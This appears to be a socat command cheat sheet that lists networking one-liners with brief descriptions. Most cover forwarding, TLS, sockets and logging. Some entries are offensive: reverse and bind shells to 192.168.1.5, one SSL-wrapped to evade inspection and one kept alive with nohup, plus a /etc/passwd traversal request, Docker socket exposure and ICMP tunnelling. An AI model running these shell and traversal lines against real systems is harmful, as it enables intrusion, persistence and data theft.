socat -hDisplays the basic help summary and command line options.
A bidirectional data relay between almost any two endpoints — sockets, files, pipes, TLS — ideal for port forwarding and stable shells.
sudo apt install socatsocat - -Pipes standard input directly to standard output, acting as a simple echo.
socat - TCP:127.0.0.1:80Connects to a local TCP port 80 and sends stdin/receives stdout.
socat TCP-LISTEN:8080 STDOUTListens on TCP port 8080 and prints incoming data to stdout (single connection).
socat - UDP:127.0.0.1:53Sends data from stdin to a UDP socket on port 53.
socat UDP-LISTEN:5353 STDOUTListens for UDP packets on port 5353 and prints them to stdout.
socat TCP-LISTEN:8080,fork STDOUTListens on port 8080 and forks a new process for each connection to handle multiple clients.
socat TCP-LISTEN:8080,reuseaddr STDOUTListens on port 8080 and allows immediate reuse of the port after termination.
socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80Forwards all incoming traffic on local port 8080 to remote IP 192.168.1.50 on port 80.
socat UDP-LISTEN:5353,fork UDP:192.168.1.50:53Forwards all incoming UDP traffic on local port 5353 to remote IP 192.168.1.50 on port 53.
socat TCP:192.168.1.50:80,bind=192.168.1.10 -Connects to a remote server while binding the source traffic to a specific local interface IP.
socat TCP:192.168.1.50:80,sp=31337 -Connects to a remote server forcing the source port to be 31337.
socat UNIX-LISTEN:/tmp/mysocket -Creates a Unix domain socket at /tmp/mysocket and listens for connections.
socat - UNIX-CONNECT:/tmp/mysocketConnects to an existing Unix domain socket at /tmp/mysocket.
socat UNIX-RECVFROM:/tmp/udgram.sock -Creates a Unix datagram socket and receives packets.
socat - UNIX-SENDTO:/tmp/udgram.sockSends data from stdin to a Unix datagram socket.
socat - TCP6:[::1]:80Connects to an IPv6 localhost address on TCP port 80.
socat TCP6-LISTEN:8080 STDOUTListens on IPv6 port 8080 and prints output to stdout.
socat TCP4-LISTEN:8080,fork TCP6:[::1]:80Listens on IPv4 port 8080 and forwards traffic to an IPv6 address.
socat TCP-LISTEN:8080,fork UNIX-CONNECT:/tmp/app.sockExposes a local Unix domain socket over a TCP port.
socat TCP-LISTEN:9999,fork FILE:received_file.txt,createListens on port 9999 and writes incoming data to a new file.
socat FILE:source_file.txt TCP:192.168.1.50:9999Reads a file and sends its content to a remote TCP port.
socat - EXEC:/bin/dateExecutes the date command and prints the output to stdout.
socat TCP-LISTEN:8080,fork EXEC:/bin/catListens on port 8080 and executes 'cat' for every connection, acting as an echo server.
socat - SYSTEM:'ls -la'Uses the system() call to execute a shell command line string.
socat - OPENSSL:192.168.1.50:443,verify=0Connects to an SSL/TLS service without verifying the server certificate.
socat OPENSSL-LISTEN:4443,cert=server.pem,key=server.key,verify=0 STDOUTListens for SSL connections using a specified certificate and key file.
socat - OPENSSL:example.com:443,cafile=ca.pemConnects to an SSL service and verifies trust using a specific CA file.
socat OPENSSL-LISTEN:4443,cert=server.pem,verify=1,cafile=client_ca.pem -Listens for SSL connections and mandates a valid client certificate.
socat - PROXY:10.0.0.1:target.com:80,proxyport=3128Connects to target.com via an HTTP proxy at 10.0.0.1:3128.
socat - SOCKS4:127.0.0.1:target.com:80,socksuser=nobodyConnects to target.com via a local SOCKS4 proxy.
socat - SOCKS5:127.0.0.1:target.com:80Connects to target.com via a local SOCKS5 proxy.
socat PTY,link=/tmp/ttyV0 PTY,link=/tmp/ttyV1Creates two connected pseudo-terminals to simulate a serial null-modem cable.
socat /dev/ttyS0,raw,echo=0 TCP:192.168.1.50:9000Bridges a physical serial port to a TCP connection.
socat READLINE TCP:127.0.0.1:80Wraps the connection in readline to allow line editing and history on the client side.
socat -d -d TCP-LISTEN:8080 STDOUTRuns socat with increased verbosity to show connection lifecycle events.
socat -lf /tmp/socat.log TCP-LISTEN:8080 STDOUTRedirects socat internal log messages to a specified file.
socat -x TCP-LISTEN:8080 STDOUTPrints all traffic passing through the connection in hexadecimal format to stderr.
socat TCP-LISTEN:4444,fork EXEC:/bin/bashExposes a bash shell on port 4444 (Unsecure: No TTY).
socat TCP:192.168.1.5:4444 EXEC:/bin/bashConnects to a listener on 192.168.1.5 and provides a bash shell.
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,saneExposes a fully interactive TTY shell on port 4444 handling signals correctly.
socat TCP:192.168.1.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,saneConnects back to an attacker and provides a fully interactive TTY shell.
socat OPENSSL-LISTEN:4444,cert=server.pem,verify=0,fork EXEC:/bin/bashExposes a bash shell wrapped in SSL encryption to evade basic packet inspection.
socat OPENSSL:192.168.1.5:4444,verify=0 EXEC:/bin/bashConnects back to an SSL listener and provides a shell.
socat UDP-LISTEN:514,fork TCP:192.168.1.50:514Converts UDP Syslog traffic to TCP for reliable transport.
socat ABSTRACT-LISTEN:mysocket -Listens on a Linux abstract namespace socket (no filesystem presence).
socat - ABSTRACT-CONNECT:mysocketConnects to a Linux abstract namespace socket.
socat UDP4-RECVFROM:8888,ip-add-membership=224.0.0.1:0.0.0.0 -Joins a multicast group 224.0.0.1 and receives packets on port 8888.
socat - UDP4-DATAGRAM:224.0.0.1:8888Sends UDP datagrams to a multicast address.
socat - UDP4-DATAGRAM:192.168.1.255:9999,broadcastSends UDP packets to the broadcast address of the subnet.
socat UDP4-RECVFROM:9999,broadcast -Receives broadcast UDP packets on port 9999.
socat TCP-LISTEN:8080,fork,tcpwrap=httpd STDOUTListens on port 8080 and checks /etc/hosts.allow/deny using the 'httpd' service name.
socat TCP-LISTEN:8080,fork,range=192.168.1.0/24 STDOUTAccepts connections only from IP addresses within the 192.168.1.0/24 subnet.
socat TCP-LISTEN:8080,su=nobody STDOUTStarts as root to bind port 8080, then drops privileges to user 'nobody'.
socat TCP-LISTEN:8080,chroot=/var/tmp/jail STDOUTRestricts the socat process to a specific directory (chroot) after connection.
socat - TCP:192.168.1.50:80,connect-timeout=5Aborts the connection attempt if the server does not respond within 5 seconds.
socat - TCP:192.168.1.50:80,read-timeout=10Closes the connection if no data is received for 10 seconds.
socat -t 20 TCP:192.168.1.50:80 -Terminates the process after 20 seconds of inactivity when one side closes.
socat - TCP:192.168.1.50:80,keepalive,keepidle=60,keepintvl=10,keepcnt=3Enables TCP keepalives with custom idle time, interval, and failure count.
socat - TCP:192.168.1.50:80,mss=512Forces the Maximum Segment Size to 512 bytes for testing fragmentation or MTU issues.
socat - TCP:192.168.1.50:80,ttl=1Sets the IP Time To Live to 1, useful for testing network hops.
socat PIPE:/tmp/mypipe -Reads from an existing named pipe.
socat FD:3 -Reads/Writes to file descriptor 3 (useful in shell scripts).
socat -u TCP:192.168.1.50:80 -Unidirectional mode (left to right only), ignoring reverse traffic.
socat -U TCP:192.168.1.50:80 -Unidirectional mode (right to left only), useful for download-only streams.
socat -u FILE:data.txt,ignoreeof TCP:192.168.1.50:9000Keeps the socket open even after the input file has been fully read.
socat TCP-LISTEN:8080,fork SYSTEM:'echo HTTP/1.0 200; echo Content-Type: text/plain; echo; echo Hello'A crude HTTP server that returns a static hello message to every visitor.
socat TCP-LISTEN:8080,fork SYSTEM:'cat header.txt index.html'Serves a specific HTML file with headers upon connection.
socat -v TCP-LISTEN:8080,fork TCP:target.com:80Forwards traffic to target.com and logs HTTP headers to stderr.
socat - RAW:192.168.1.50:255Sends raw IP packets (protocol 255) to a destination.
socat - UDP:192.168.1.50:53,bindtodevice=eth0Forces the traffic to exit through a specific network interface (eth0).
socat TUN:10.0.0.1/24,tun-type=tun,tun-name=mytun0 -Creates a virtual TUN interface with IP 10.0.0.1 (requires root).
socat TUN:10.0.0.1/24,tun-type=tap,tun-name=mytap0 -Creates a virtual TAP (Ethernet) interface.
socat - SCTP:192.168.1.50:80Connects to a remote SCTP service.
socat SCTP-LISTEN:8080,fork STDOUTListens for incoming SCTP connections.
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.keyPrerequisite command to generate certificate/key pairs for socat SSL listeners.
socat -v OPENSSL:192.168.1.50:443,verify=0 /dev/nullConnects via SSL and dumps verbose handshake info to stderr to inspect headers.
socat - OPENSSL-DTLS-CLIENT:192.168.1.50:4433,verify=0Connects to a Datagram TLS (UDP encrypted) service.
socat OPENSSL-DTLS-SERVER:4433,cert=server.pem,key=server.key,verify=0 STDOUTListens for DTLS connections.
socat UNIX-LISTEN:/tmp/pass.sock,fork EXEC:'/bin/cat',fdin=3,fdout=4Advanced usage for passing specific file descriptors to the executed process.
socat - GOPEN:/tmp/testfile.txtOpens a file using generic open flags, useful for non-standard file types.
socat - TCP:192.168.1.50:80,crlfSends payloads with forced CRLF line endings to test web servers.
Example
echo -e 'GET /../../etc/passwd HTTP/1.0\n\n' | socat - TCP:192.168.1.50:80,crlfsocat - TCP:192.168.1.50:25,crlfConnects to an SMTP server, automatically converting local LF to network CRLF.
socat - VSOCK-CONNECT:2:1234Connects to a VSOCK (Virtual Machine socket) CID 2 port 1234.
socat VSOCK-LISTEN:1234 STDOUTListens for VSOCK connections on port 1234.
socat - TCP:192.168.1.50:80,nodelayDisables Nagle's algorithm (TCP_NODELAY) for lower latency on small packets.
socat UDP4-RECVFROM:9999,broadcast,fork UDP4-DATAGRAM:192.168.2.255:9999,broadcastRelays broadcast traffic from one subnet to another.
socat TCP-LISTEN:9418,fork EXEC:'git daemon --inetd --verbose --base-path=/tmp/repo'Exposes a local git repository via the Git protocol.
socat TCP-LISTEN:873,fork EXEC:'rsync --daemon --no-detach'Wraps the rsync daemon in a socat listener.
socat - UDP:192.168.1.1:7000; socat - UDP:192.168.1.1:8000Sends a sequence of packets to specific ports to trigger a knock sequence.
socat TCP:192.168.1.50:80 FILE:exploit.binSends the raw binary content of a file directly to a target service.
socat TCP-LISTEN:8080,fork TCP:127.0.0.1:80Exposes a service bound to localhost only (127.0.0.1) to the external network interface.
socat UNIX-LISTEN:/tmp/docker.sock,fork TCP:192.168.1.50:2375Maps a local Docker Unix socket to a remote TCP Docker daemon.
socat TCP-LISTEN:2375,fork UNIX-CONNECT:/var/run/docker.sockExposes the local Docker Unix socket over TCP (Security risk: use with caution).
socat TCP-LISTEN:8080,fork OPENSSL:example.com:443,verify=0Creates a local plaintext listener that encrypts traffic to a remote SSL server.
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:127.0.0.1:80Offloads SSL encryption, forwarding decrypted traffic to a local HTTP server.
socat TCP4-LISTEN:8080,fork TCP6:[2001:db8::1]:80Bridges IPv4 network traffic to an internal IPv6-only host.
socat TCP-LISTEN:8080,fork TCP-LISTEN:8081,forkBridges two different listening ports together, connecting clients from port A to clients on port B.
socat -lf /tmp/log.txt -d -d TCP-LISTEN:8080 STDOUTLogs connections with timestamps to a file for auditing.
socat UNIX-LISTEN:/tmp/readonly.sock,fork EXEC:'ls -la',readonlyExecutes a command but prevents it from writing data back to the socket.
socat -u - TCP:192.168.1.50:9000Enforces a strict write-only channel to the destination.
socat TCP-LISTEN:8080,fork,max-children=5 STDOUTLimits the concurrent connections to 5 to prevent resource exhaustion.
socat TCP-LISTEN:8080,backlog=128 STDOUTSets the listen backlog queue size to 128 connections.
socat - TCP:192.168.1.50:80,sndbuf=65536,rcvbuf=65536Manually adjusts the send and receive buffer sizes.
socat - TCP:192.168.1.50:80,sighup,sigintConfigures the process to ignore SIGHUP and SIGINT signals.
socat TCP-LISTEN:8080,lock=/tmp/socat.lock STDOUTEnsures only one instance runs by using a lock file.
socat -u /dev/urandom TCP:192.168.1.50:80Streams random garbage data to a target port to test stability.
socat -u /dev/zero TCP:192.168.1.50:80Streams infinite zero bytes to a target port.
socat TCP-LISTEN:80,fork SYSTEM:'echo "ALERT: Port 80 Access from $SOCAT_PEERADDR" >> /var/log/canary.log; echo HTTP/1.0 200 OK; echo; echo OK'Logs the attacker's IP to a file whenever port 80 is touched.
socat TCP-LISTEN:22,fork SYSTEM:'echo "ALERT: SSH Probe from $SOCAT_PEERADDR" >> /var/log/canary.log'Deploys a fake SSH listener that logs any connection attempts.
socat TCP-LISTEN:12345,fork SYSTEM:'logger -t SOCAT "Port scan detected from $SOCAT_PEERADDR"'Listens on a high port and sends a syslog message if connected to.
socat -u TCP-LISTEN:8080,fork OPEN:/tmp/capture.pcap,creat,appendCaptures raw payloads sent to the port and saves them to a file.
socat TCP-LISTEN:5555,fork,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,saneRuns a background listener shell that respawns after disconnect.
Example
nohup socat TCP-LISTEN:5555,fork,reuseaddr EXEC:/bin/bash,pty,stderr,setsid,sigint,sane &socat -v PIPE:/tmp/data IP4:192.168.1.50:1Tunnels data over raw ICMP protocol (Ping) traffic.
socat -T 5 TCP-LISTEN:8080 STDOUTForces the total connection time to strictly 5 seconds, then kills it.
socat TCP-LISTEN:8080,fork EXEC:'env'Prints the server-side environment variables to the connecting client.
socat TCP-LISTEN:8080,fork,su=nobody TCP:original-dest:80A basic setup often used with iptables redirection for transparent proxying.
socat -x -v TCP-LISTEN:8080 STDOUTCombines verbose logging and hex dumping for deep protocol analysis.
socat -u TCP-LISTEN:8080,fork OPEN:/var/log/aggregator.log,creat,appendAggregates logs from multiple network sources into a single file.
socat - SOCKS4:127.0.0.1:target:80,socksuser=nobody,socksport=9050Directs traffic through a secondary proxy (e.g., Tor) on port 9050.
mkfifo /tmp/fifo; socat - PIPE:/tmp/fifoInteracts with a manually created named pipe.
socat UDP4-RECVFROM:8888,ip-add-membership=239.0.0.1:192.168.1.10 -Listens for multicast traffic on a specific network interface IP.
socat - UNIX-SENDTO:/dev/logInjects a message directly into the local system logging socket.
Example
echo '<3>Critical Error' | socat - UNIX-SENDTO:/dev/logsocat TCP-LISTEN:8080,bindtodevice=eth0 STDOUTAccepts connections only if they arrive on the eth0 interface.
socat - OPENSSL:192.168.1.50:443,cipher=AES256-SHAForces the SSL connection to use a specific cipher suite.
socat - OPENSSL:192.168.1.50:443,method=TLS1.2Forces the usage of TLS 1.2 specifically.
socat - TCP:192.168.1.50:80,shut-downShuts down the writing half of the connection after EOF on stdin.
socat - TCP:192.168.1.50:80,shut-closeCompletely closes the socket after EOF on stdin.
socat TCP-LISTEN:4444,fork READLINECreates a simple chat server where connected clients have line editing capabilities.
socat UDP4-LISTEN:9999,broadcast,fork EXEC:/bin/catReplies to broadcast packets by echoing the data back.
socat - TCP:example.com:80Performs a manual HTTP GET request.
Example
echo -e 'GET / HTTP/1.0\r\n\r\n' | socat - TCP:example.com:80socat -d -d SOCKET-CONNECT:1:2 -Connects to an already open file descriptor pair (advanced internal piping).
socat UDP-LISTEN:9999,fork SYSTEM:'echo -e "\a"'Triggers the system bell/beep whenever a UDP packet is received.
socat -u TCP:127.0.0.1:8080,retry=10,interval=1 -Retries connection to the port 10 times with 1 second intervals until successful.
socat UNIX-LISTEN:/tmp/secure.sock,user=root,group=root,mode=600 -Creates a Unix socket with strict 600 permissions.
socat TCP-LISTEN:8080,max-connections=1 STDOUTAllows only a single active connection at a time.
socat - UDP-CONNECT:192.168.1.50:53Establishes a 'connected' state for UDP, allowing ICMP error tracking.
socat TCP6-LISTEN:8080,ipv6-v6only=0 STDOUTListens on both IPv6 and IPv4 (dual stack) if OS supports it.
socat - TCP:192.168.1.50:80; rm -f /tmp/dataStandard shell chaining to clean up files after socat exits.
socat TCP-LISTEN:8080 SYSTEM:"diff <(ls) <(ls -a)"Serves the output of a complex shell command involving process substitution.
socat TCP-LISTEN:8080 SYSTEM:"gzip -c"Compresses incoming data on the fly using gzip.
socat TCP:192.168.1.50:8080 SYSTEM:"gunzip -c"Decompresses received network data on the fly.
socat TCP-LISTEN:8080 SYSTEM:"base64"Encodes incoming data to Base64 format.
socat TCP:192.168.1.50:8080 SYSTEM:"base64 -d"Decodes incoming Base64 data back to binary.
socat - TCP:relay1:8080 | socat - TCP:target:80Manually piping two socat instances to create a hop (concept only, requires listener).
socat TCP:192.168.1.10:80 TCP:192.168.1.20:80Bridges two remote servers together, allowing them to talk to each other through you.
The TCP/IP Swiss-army knife: connect to and listen on ports, transfer files, banner-grab and catch reverse shells.
OpenSSH: secure remote login, key management, file transfer and port forwarding — local, remote and dynamic SOCKS tunnels.
A fast TCP/UDP tunnel over HTTP secured with SSH, in a single Go binary — used to build SOCKS proxies and port forwards through firewalls during pivoting.